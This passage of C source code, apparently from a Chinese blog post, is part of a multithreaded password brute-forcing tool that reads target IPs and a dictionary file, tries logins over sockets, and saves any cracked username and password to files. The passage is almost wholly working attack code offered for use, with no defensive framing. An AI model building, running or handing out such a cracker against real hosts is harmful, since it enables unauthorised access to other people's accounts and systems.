flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 );
if( flag == SOCKET_ERROR )
{
printf( "%s接受pass数据失败\n" , ip );
closesocket(sock);
return;
}
//
if(strstr(recvBuffer , passFlag))
{
printf( "发现密码:%s\t%s\t%s\n" , ip , user , pass );
FILE * fp;
fp = fopen("pwd.txt","wt+");
fwrite(pass,sizeof(pass),1,fp);
fclose(fp);
FILE * fp1;
fp1 = fopen("user.txt","wt+");
fwrite(user,sizeof(user),1,fp1);
fclose(fp1);
}
closesocket(sock);
return;
}
struct FILEDATA *ReadDic2Memory( char *fileName )
{
struct FILEDATA *p1 = NULL;
struct FILEDATA *p2 = NULL;
struct FILEDATA *head = NULL;
FILE *fp = NULL;
int num = 0;//节点数目
p1 = p2 = (struct FILEDATA *)malloc(LEN);//开辟新内存单元
if( p1 == NULL )
{
printf( "开辟新内存单元失败...\n" );
exit(-1);
}
fp = fopen( fileName , "r" );//打开文件句柄
if( fp == NULL )
{
printf( "打开文件%s失败...\n" , fileName );
exit(-1);
}
while( !feof(fp) )
{
num = num + 1;
fscanf( fp , "%s" , p1->dataLine );
if( num == 1 )//如果是第一个节点
{
head = p1;
}
else
{
p2->next = p1;
}
p2 = p1;
p1 = (struct FILEDATA *)malloc(LEN);
fscanf( fp , "%s" , p1->dataLine );
}
p2->next = NULL;
return head;
}
void GetPar( int argc , char *argv[] )
{
//检查命令行参数
if( argc != 3 )
{
Help( argv[0] );
return;
}
if( strlen(argv[1]) < 48 )
{
strcpy( ipFile , argv[1] );
}
else
{
printf( "IP列表文件名太长...\n" );
return;
}
//从命令行参数获取最大线程数
maxThread = atoi( argv[2] );
if( maxThread <= 0 )
{
printf( "最大线程数错误...\n" );
return;
}
}
void WatchThread()
{
while(1)
{
if( currentThread >= maxThread )
{
Sleep(10);
}
else
{
break;
}
}
}
void Wait2Quit()
{
while(1)
{
if( currentThread > 0 )
{
Sleep(10);
}
else
{
break;
}
}
}
void Help(char *program)
{
printf( "Usage:%s\tIP.txt\tMaxThread\n" , program );
exit(-1);
} Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=665538